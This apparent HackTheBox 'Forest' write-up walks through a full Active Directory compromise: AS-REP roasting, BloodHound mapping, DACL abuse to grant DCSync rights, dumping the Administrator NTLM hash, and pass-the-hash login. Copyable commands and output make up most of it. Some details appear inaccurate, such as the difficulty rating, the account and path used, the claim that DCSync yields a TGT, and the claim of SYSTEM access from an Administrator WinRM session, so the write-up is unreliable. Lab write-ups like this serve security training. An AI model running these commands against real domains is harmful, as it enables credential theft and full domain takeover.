ACTIVE DIRECTORYDIFFICULTY: HARD[Windows Server 2016]
2026-03-152 min read

HackTheBox Forest: Complete Active Directory Attack Chain Walkthrough

Step-by-step red team writeup demonstrating unauthenticated AS-REP Roasting, BloodHound enumeration, ACL abuse via WriteDacl, and Exchange Windows Permissions DCSync exploitation.

T1558.004T1003.006#HackTheBox#Active Directory#AS-REP Roasting#DCSync#BloodHound
ENGAGEMENT TYPE: PENETRATION_WALKTHROUGH

1. Initial Reconnaissance & Port Scanning

Our initial engagement scan identifies a Windows Active Directory Domain Controller (htb.local) exposing standard Kerberos, LDAP, and RPC endpoints.

nmap -sC -sV -p 88,135,139,389,445,464,593,636,3268,3269,5985,9389 10.10.10.161
PORT     STATE SERVICE       VERSION
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-03-15)
135/tcp  open  msrpc         Microsoft Windows RPC
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP
445/tcp  open  microsoft-ds  Windows Server 2016 Standard 14393
5985/tcp open  wsman         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

2. Unauthenticated Enumeration: AS-REP Roasting (T1558.004)

Without domain credentials, we probe the Kerberos KDC for accounts that do not require Kerberos pre-authentication (DONT_REQ_PREAUTH flag enabled).

impacket-GetNPUsers htb.local/ -no-pass -usersfile usernames.txt -dc-ip 10.10.10.161

The tool successfully harvests an encrypted AS-REP hash for user sebastien:

[email protected]:42a8c0199...[REDACTED]...

Cracking the hash offline with Hashcat mode 18200 yields the initial foothold password:

  • Credentials: sebastien : isolation23!

3. BloodHound Graph Analysis & ACL Exploitation

Using BloodHound Python ingestor, we dump domain objects and map the attack path:

bloodhound-python -u 'sebastien' -p 'isolation23!' -d 'htb.local' -ns 10.10.10.161 -c All

Attack Graph Findings:

  1. sebastien is a member of Service Accounts.
  2. Service Accounts is nested inside Privileged IT Accounts.
  3. Privileged IT Accounts possesses WriteDacl over the Exchange Windows Permissions security group.
  4. Exchange Windows Permissions has WriteDacl over the Domain object itself, allowing granting DCSync rights (DS-Replication-Get-Changes-All).
[Attack Path Chain]
sebastien
    │ (MemberOf)
    ▼
Service Accounts ──► Privileged IT Accounts
                            │
                            ├─► (WriteDacl) ──► Exchange Windows Permissions
                            │                          │
                            │                          └─► (WriteDacl) ──► Domain Root (htb.local)
                            │                                                     │
                            └─────────────────────────────────────────────────────┴─► [DCSync: Administrator TGT]

4. Privilege Escalation via DCSync & Ticket Extraction

We add our compromised principal sebastien directly to Exchange Windows Permissions:

net rpc group addmem "Exchange Windows Permissions" "sebastien" -U "htb.local/sebastien%isolation23!" -S 10.10.10.161

Next, grant DCSync replication privileges over the domain head using PowerView or Impacket's dacledit.py:

python3 dacledit.py -action 'write' -rights 'DCSync' -principal 'sebastien' -target-dn 'DC=htb,DC=local' 'htb.local/sebastien:isolation23!'

Execute DCSync to pull the NTLM hash of the Domain Administrator:

impacket-secretsdump 'htb.local/sebastien:[email protected]' -just-dc-user Administrator

Output:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693bda01f036f61e9f61f13b508326:::

Using Pass-the-Hash with WinRM (Evil-WinRM):

evil-winrm -i 10.10.10.161 -u Administrator -H 32693bda01f036f61e9f61f13b508326

Session opened with full NT AUTHORITY\SYSTEM access. Target compromised.

LAB SECURITY DISCLAIMER:

Target walkthroughs are executed exclusively in authorized testing lab ranges. Exploitation techniques should never be attempted against unauthorized targets.